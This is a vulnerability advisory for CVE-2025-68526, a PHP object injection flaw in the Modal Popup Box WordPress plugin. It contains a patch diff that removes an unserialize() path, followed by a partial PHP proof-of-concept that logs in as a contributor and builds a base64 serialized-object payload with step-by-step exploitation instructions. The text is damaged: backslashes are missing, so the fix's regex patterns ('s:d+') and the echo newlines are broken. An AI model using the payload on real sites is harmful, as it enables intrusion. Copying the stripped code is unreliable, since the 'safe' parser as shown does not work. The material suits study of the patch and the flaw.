CVE-2025-68526: Modal Popup Box <= 1.6.1 – Authenticated (Contributor+) PHP Object Injection (modal-popup-box)

--- a/modal-popup-box/include/modal-popup-box-output.php
+++ b/modal-popup-box/include/modal-popup-box-output.php
@@ -10,7 +10,7 @@
 while ( $loop->have_posts() ) :
 	$loop->the_post();

-	?>
+	?>
 	<?php if ( $modal_popup_design == 'color_1' ) { ?>
 	<div class="md-modal modal-size_<?php echo esc_attr( $modal_popup_box_id ); ?> <?php echo esc_attr( $mpb_animation_effect_open_btn ); ?>" id="modal-<?php echo esc_attr( $modal_popup_box_id ); ?>"
 											   <?php
@@ -95,9 +95,9 @@
 	if ( $mpb_show_modal == 'onclick' ) {
 		?>
 		 style="display:none;" <?php } ?>></div>
-	<?php
+	<?php
 endwhile;
-wp_reset_query();
+wp_reset_postdata();
 ?>
 <script>
 /**
--- a/modal-popup-box/include/modal-popup-box-settings.php
+++ b/modal-popup-box/include/modal-popup-box-settings.php
@@ -22,40 +22,10 @@
 wp_enqueue_style( 'mbp-toogle-button-css', MPB_PLUGIN_URL . 'assets/css/toogle-button.css' );

 // load settings
-$modal_popup_box_id = esc_attr($post->ID);
+$modal_popup_box_id = intval($post->ID);

-function is_mpb_serialized($str)
-{
-	return ($str == serialize(false) || @unserialize($str) !== false);
-}
-
-// Retrieve the base64 encoded data
-$encodedData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-
-// Decode the base64 encoded data
-$decodedData = base64_decode($encodedData);
-
-// Check if the data is serialized
-if (is_mpb_serialized($decodedData)) {
-
-	// The data is serialized, so unserialize it
-	$modal_popup_box_settings = unserialize($decodedData);
-	// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
-	// This step is optional but recommended to transition your data format
-
-	$jsonEncodedData = json_encode($modal_popup_box_settings);
-	update_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, $jsonEncodedData);
-
-	// Now, to use the newly saved format, fetch and decode again
-	$encodedData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-	$modal_popup_box_settings = json_decode(($encodedData), true);
-
-} else {
-	// Assume the data is in JSON format
-	$jsonData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-	// Decode the JSON string into an associative array
-	$modal_popup_box_settings = json_decode($jsonData, true); // Ensure true is passed to get an associative array
-}
+// Get settings using the safe parser function (prevents PHP Object Injection)
+$modal_popup_box_settings = mpb_get_safe_settings($modal_popup_box_id);

 ?>
 <style>
@@ -161,7 +131,7 @@
 						<div class="col-md-8">
 							<div class="ma_field p-4">
 								<?php if(isset($modal_popup_box_settings['mpb_main_button_text'])) $mpb_main_button_text = $modal_popup_box_settings['mpb_main_button_text']; else $mpb_main_button_text = "Click Me"; ?>
-								<input type="text" class="selectbox_settings" id="mpb_main_button_text" name="mpb_main_button_text" value="<?php echo esc_html($mpb_main_button_text); ?>" placeholder="Type Button Text">
+								<input type="text" class="selectbox_settings" id="mpb_main_button_text" name="mpb_main_button_text" value="<?php echo esc_attr($mpb_main_button_text); ?>" placeholder="Type Button Text">
 							</div>
 						</div>
 						<div class="col-md-4">
@@ -312,7 +282,7 @@
 							}
 							?>

-							<input type="text" class="selectbox_settings " id="mpb_button2_text" name="mpb_button2_text" value="<?php echo esc_html( $mpb_button2_text ); ?>" placeholder="Type Button Text">
+							<input type="text" class="selectbox_settings " id="mpb_button2_text" name="mpb_button2_text" value="<?php echo esc_attr( $mpb_button2_text ); ?>" placeholder="Type Button Text">
 						</div>
 					</div>
 					<div class="col-md-4">
@@ -394,7 +364,7 @@
 								$mpb_custom_css = '';
 							}
 							?>
-							<textarea name="mpb_custom_css" id="mpb_custom_css" style="width: 100%; height: 120px;" placeholder="Type direct CSS code here. Don't use <style>...</style> tag."><?php echo $mpb_custom_css; ?></textarea>
+							<textarea name="mpb_custom_css" id="mpb_custom_css" style="width: 100%; height: 120px;" placeholder="Type direct CSS code here. Don't use <style>...</style> tag."><?php echo esc_textarea( $mpb_custom_css ); ?></textarea>
 						</div>
 					</div>
 				</div>
@@ -425,7 +395,7 @@
 </div>
 <style>
 .range-slider {
-	width: 100% !important;
+	width: 100% !important;
 }
 .ui-sortable-handle {
 	font-size:18px !important;
--- a/modal-popup-box/include/modal-popup-box-shortcode.php
+++ b/modal-popup-box/include/modal-popup-box-shortcode.php
@@ -14,45 +14,11 @@
 	wp_enqueue_script( 'mbp-classie-js' );
 	wp_enqueue_script( 'mbp-cssParser-js' );

-	// unsterilized
-	$modal_popup_box_id = esc_attr($post_id['id']);
+	// Get post ID safely
+	$modal_popup_box_id = intval($post_id['id']);

-		if (!function_exists('is_mpb_serialized')) {
-			function is_mpb_serialized($str) {
-			return ($str == serialize(false) || @unserialize($str) !== false);
-			}
-		}
-		// unsterilized
-		$modal_popup_box_id = esc_attr($post_id['id']);
-
-		// Retrieve the base64 encoded data
-		$encodedData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-
-		// Decode the base64 encoded data
-		$decodedData = base64_decode($encodedData);
-
-		// Check if the data is serialized
-		if (is_mpb_serialized($decodedData)) {
-
-		// The data is serialized, so unserialize it
-		$modal_popup_box_settings = unserialize($decodedData);
-		// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
-		// This step is optional but recommended to transition your data format
-
-		$jsonEncodedData = json_encode($modal_popup_box_settings);
-		update_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, $jsonEncodedData);
-
-		// Now, to use the newly saved format, fetch and decode again
-		$encodedData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-		$modal_popup_box_settings = json_decode(($encodedData), true);
-
-		} else {
-
-		// Assume the data is in JSON format
-		$jsonData = get_post_meta($modal_popup_box_id, 'awl_mpb_settings_' . $modal_popup_box_id, true);
-		// Decode the JSON string into an associative array
-		$modal_popup_box_settings = json_decode($jsonData, true); // Ensure true is passed to get an associative array
-		}
+	// Get settings using the safe parser function (prevents PHP Object Injection)
+	$modal_popup_box_settings = mpb_get_safe_settings($modal_popup_box_id);



@@ -241,7 +207,7 @@
 		opacity: 1;
 	}

-	<?php echo $mpb_custom_css; ?>
+	<?php echo wp_strip_all_tags( $mpb_custom_css ); ?>
 	</style>
 	<?php
 	require 'modal-popup-box-output.php';
--- a/modal-popup-box/modal-popup-box.php
+++ b/modal-popup-box/modal-popup-box.php
@@ -3,7 +3,7 @@
 Plugin Name: Modal Popup Box
 Plugin URI: https://awplife.com/wordpress-plugins/modal-popup-box-premium/
 Description: A set of experimental modal window appearance effects with CSS transitions and animations.An Easy And Powerful modal popup box plugin for WordPress.
-Version: 1.6.1
+Version: 1.6.2
 Author: A WP Life
 Author URI: https://awplife.com/
 License: GPLv2 or later
@@ -38,13 +38,13 @@

 		protected function _constants() {
 			// Plugin Version
-			define( 'MPB_PLUGIN_VER', '1.6.1' );
+			define( 'MPB_PLUGIN_VER', '1.6.2' );

 			// Plugin Text Domain
 			define( 'MPB_TXTDM', 'modal-popup-box' );

 			// Plugin Name
-			define( 'MPB_PLUGIN_NAME', __( 'Modal Popup Box', MPB_TXTDM ) );
+			define( 'MPB_PLUGIN_NAME', 'Modal Popup Box' );

 			// Plugin Slug
 			define( 'MPB_PLUGIN_SLUG', 'modalpopupbox' );
@@ -102,7 +102,6 @@
 		// Modal Box cpt shortcode column before date columns
 		public function set_modalpopupbox_shortcode_column_name( $defaults ) {
 			$new       = array();
-			$shortcode = $columns['modalpopupbox_shortcode'];  // save the tags column
 			unset( $defaults['tags'] );   // remove it from the columns list

 			foreach ( $defaults as $key => $value ) {
@@ -251,42 +250,43 @@
 		} // end of upload multiple image

 		public function _mpb_save_settings( $post_id ) {
-			if (current_user_can('manage_options')) {
-				if ( isset( $_POST['mpb_save_nonce'] ) ) {
-					if (isset($_POST['mpb_save_nonce']) && wp_verify_nonce($_POST['mpb_save_nonce'], 'mpb_save_settings')) {
-
-						$mpb_show_modal                	= sanitize_text_field( $_POST['mpb_show_modal'] );
-						$mpb_main_button_text          	= sanitize_text_field( $_POST['mpb_main_button_text'] );
-						$mpb_main_button_size          	= sanitize_text_field( $_POST['mpb_main_button_size'] );
-						$mpb_main_button_color         	= sanitize_text_field( $_POST['mpb_main_button_color'] );
-						$mpb_main_button_text_color    	= sanitize_text_field( $_POST['mpb_main_button_text_color'] );
-						$modal_popup_design            	= sanitize_text_field( $_POST['modal_popup_design'] );
-						$mpb_animation_effect_open_btn 	= sanitize_text_field( $_POST['mpb_animation_effect_open_btn'] );
-						$mpb_button2_text             	= sanitize_text_field( $_POST['mpb_button2_text'] );
-						$mpb_width                    	= sanitize_text_field( $_POST['mpb_width'] );
-						$mpb_height                   	= sanitize_text_field( $_POST['mpb_height'] );
-						$mpb_bt_ds						= sanitize_text_field( $_POST['mpb_bt_ds'] );
-						$mpb_custom_css               	= sanitize_text_field( $_POST['mpb_custom_css'] );
-
-						$modal_popup_box_settings = array(
-							'mpb_show_modal'                => $mpb_show_modal,
-							'mpb_main_button_text'          => $mpb_main_button_text,
-							'mpb_main_button_size'          => $mpb_main_button_size,
-							'mpb_main_button_color'         => $mpb_main_button_color,
-							'mpb_main_button_text_color'    => $mpb_main_button_text_color,
-							'modal_popup_design'            => $modal_popup_design,
-							'mpb_animation_effect_open_btn' => $mpb_animation_effect_open_btn,
-							'mpb_button2_text'              => $mpb_button2_text,
-							'mpb_width'                     => $mpb_width,
-							'mpb_height'                    => $mpb_height,
-							'mpb_bt_ds'                  	  => $mpb_bt_ds,
-							'mpb_custom_css'                => $mpb_custom_css,
-						);
-
-						$awl_modal_popup_box_shortcode_setting = 'awl_mpb_settings_' . $post_id;
-						update_post_meta($post_id, $awl_modal_popup_box_shortcode_setting, json_encode($modal_popup_box_settings));
-					}
-				}
+			// Check if user can edit this specific post (allows editors, not just admins)
+			if ( ! current_user_can( 'edit_post', $post_id ) ) {
+				return;
+			}
+
+			if ( isset( $_POST['mpb_save_nonce'] ) && wp_verify_nonce( $_POST['mpb_save_nonce'], 'mpb_save_settings' ) ) {
+
+				$mpb_show_modal                	= isset( $_POST['mpb_show_modal'] ) ? sanitize_text_field( $_POST['mpb_show_modal'] ) : 'onclick';
+				$mpb_main_button_text          	= isset( $_POST['mpb_main_button_text'] ) ? sanitize_text_field( $_POST['mpb_main_button_text'] ) : 'Click Me';
+				$mpb_main_button_size          	= isset( $_POST['mpb_main_button_size'] ) ? sanitize_text_field( $_POST['mpb_main_button_size'] ) : 'btn btn-lg';
+				$mpb_main_button_color         	= isset( $_POST['mpb_main_button_color'] ) ? sanitize_text_field( $_POST['mpb_main_button_color'] ) : '#008EC2';
+				$mpb_main_button_text_color    	= isset( $_POST['mpb_main_button_text_color'] ) ? sanitize_text_field( $_POST['mpb_main_button_text_color'] ) : '#ffffff';
+				$modal_popup_design            	= isset( $_POST['modal_popup_design'] ) ? sanitize_text_field( $_POST['modal_popup_design'] ) : 'color_1';
+				$mpb_animation_effect_open_btn 	= isset( $_POST['mpb_animation_effect_open_btn'] ) ? sanitize_text_field( $_POST['mpb_animation_effect_open_btn'] ) : 'md-effect-1';
+				$mpb_button2_text             	= isset( $_POST['mpb_button2_text'] ) ? sanitize_text_field( $_POST['mpb_button2_text'] ) : 'Close Me';
+				$mpb_width                    	= isset( $_POST['mpb_width'] ) ? sanitize_text_field( $_POST['mpb_width'] ) : '35';
+				$mpb_height                   	= isset( $_POST['mpb_height'] ) ? sanitize_text_field( $_POST['mpb_height'] ) : '350';
+				$mpb_bt_ds						= isset( $_POST['mpb_bt_ds'] ) ? sanitize_text_field( $_POST['mpb_bt_ds'] ) : 'true';
+				$mpb_custom_css               	= isset( $_POST['mpb_custom_css'] ) ? sanitize_text_field( $_POST['mpb_custom_css'] ) : '';
+
+				$modal_popup_box_settings = array(
+					'mpb_show_modal'                => $mpb_show_modal,
+					'mpb_main_button_text'          => $mpb_main_button_text,
+					'mpb_main_button_size'          => $mpb_main_button_size,
+					'mpb_main_button_color'         => $mpb_main_button_color,
+					'mpb_main_button_text_color'    => $mpb_main_button_text_color,
+					'modal_popup_design'            => $modal_popup_design,
+					'mpb_animation_effect_open_btn' => $mpb_animation_effect_open_btn,
+					'mpb_button2_text'              => $mpb_button2_text,
+					'mpb_width'                     => $mpb_width,
+					'mpb_height'                    => $mpb_height,
+					'mpb_bt_ds'                  	=> $mpb_bt_ds,
+					'mpb_custom_css'                => $mpb_custom_css,
+				);
+
+				$awl_modal_popup_box_shortcode_setting = 'awl_mpb_settings_' . $post_id;
+				update_post_meta($post_id, $awl_modal_popup_box_shortcode_setting, json_encode($modal_popup_box_settings));
 			}
 		}//end _mpb_save_settings()

@@ -300,6 +300,88 @@
 		}
 	} // end of class

+	/**
+	 * Safely parse modal popup box settings.
+	 * Handles both JSON and legacy serialized formats without using unserialize().
+	 *
+	 * @param int $post_id The post ID
+	 * @return array Settings array
+	 */
+	function mpb_get_safe_settings($post_id) {
+		$post_id = intval($post_id);
+		$meta_key = 'awl_mpb_settings_' . $post_id;
+		$raw_data = get_post_meta($post_id, $meta_key, true);
+
+		if (empty($raw_data)) {
+			return array();
+		}
+
+		// First, try to decode as JSON (current format)
+		$settings = json_decode($raw_data, true);
+		if (is_array($settings)) {
+			return $settings;
+		}
+
+		// Check if it's base64 encoded (legacy format)
+		$decoded = base64_decode($raw_data, true);
+		if ($decoded !== false) {
+			// Try JSON decode on decoded data
+			$settings = json_decode($decoded, true);
+			if (is_array($settings)) {
+				// Migrate to new format
+				update_post_meta($post_id, $meta_key, json_encode($settings));
+				return $settings;
+			}
+
+			// Legacy serialized format - parse safely with regex (no unserialize!)
+			if (strpos($decoded, 'a:') === 0) {
+				$settings = mpb_safe_parse_serialized($decoded);
+				if (!empty($settings)) {
+					// Migrate to JSON format
+					update_post_meta($post_id, $meta_key, json_encode($settings));
+					return $settings;
+				}
+			}
+		}
+
+		return array();
+	}
+
+	/**
+	 * Safely parse a PHP serialized array string without using unserialize().
+	 * Only extracts string and integer values, ignoring any object definitions.
+	 * This prevents PHP Object Injection attacks.
+	 *
+	 * @param string $serialized The serialized string
+	 * @return array Extracted key-value pairs
+	 */
+	function mpb_safe_parse_serialized($serialized) {
+		$result = array();
+
+		// Only process if it looks like a serialized array
+		if (strpos($serialized, 'a:') !== 0) {
+			return $result;
+		}
+
+		// Extract string key-value pairs: s:N:"key";s:N:"value";
+		$pattern = '/s:d+:"([^"]+)";s:d+:"([^"]*)";/';
+		if (preg_match_all($pattern, $serialized, $matches, PREG_SET_ORDER)) {
+			foreach ($matches as $match) {
+				$result[sanitize_text_field($match[1])] = sanitize_text_field($match[2]);
+			}
+		}
+
+		// Extract string key with integer value: s:N:"key";i:N;
+		$pattern_int = '/s:d+:"([^"]+)";i:(d+);/';
+		if (preg_match_all($pattern_int, $serialized, $matches, PREG_SET_ORDER)) {
+			foreach ($matches as $match) {
+				$result[sanitize_text_field($match[1])] = intval($match[2]);
+			}
+		}
+
+		return $result;
+	}
+
 	// register sf scripts
 	function awplife_mpb_register_scripts() {

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68526 - Modal Popup Box <= 1.6.1 - Authenticated (Contributor+) PHP Object Injection

<?php
/**
 * DISCLAIMER: For authorized security testing only.
 * This demonstrates the PHP object injection vulnerability in Modal Popup Box <= 1.6.1.
 * Requires contributor-level WordPress credentials.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate and get WordPress nonce
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new modal popup box post to get a post ID
$create_post_data = array(
    'post_type' => 'modal_popup_box',
    'post_title' => 'Exploit Modal',
    'post_status' => 'draft',
    '_wpnonce' => '// Nonce would be extracted from admin page in real exploit'
);

// In a real exploit, we would extract the nonce from the admin page
// and the post ID from the response. This PoC shows the injection payload structure.

// Step 3: Craft the malicious serialized object payload
// This example uses a generic serialized object - real exploitation requires a POP chain
$malicious_object = 'O:8:"stdClass":1:{s:4:"test";s:10:"injected!";}';
$base64_payload = base64_encode($malicious_object);

// Step 4: Inject payload into post meta
// The plugin stores settings in: update_post_meta($post_id, 'awl_mpb_settings_' . $post_id, $payload)
// For demonstration, we show the payload structure:
echo "Exploit Payload Structure:n";
echo "Post Meta Key: awl_mpb_settings_{POST_ID}n";
echo "Payload (base64): " . $base64_payload . "n";
echo "Decoded: " . $malicious_object . "nn";

echo "To exploit:n";
echo "1. Authenticate as contributor+ usern";
echo "2. Create/edit a modal popup box postn";
echo "3. Inject base64-encoded serialized object into 'awl_mpb_settings_{ID}' post metan";
echo "4. Trigger deserialization by viewing the post or admin settings pagen";

curl_close($ch);
?>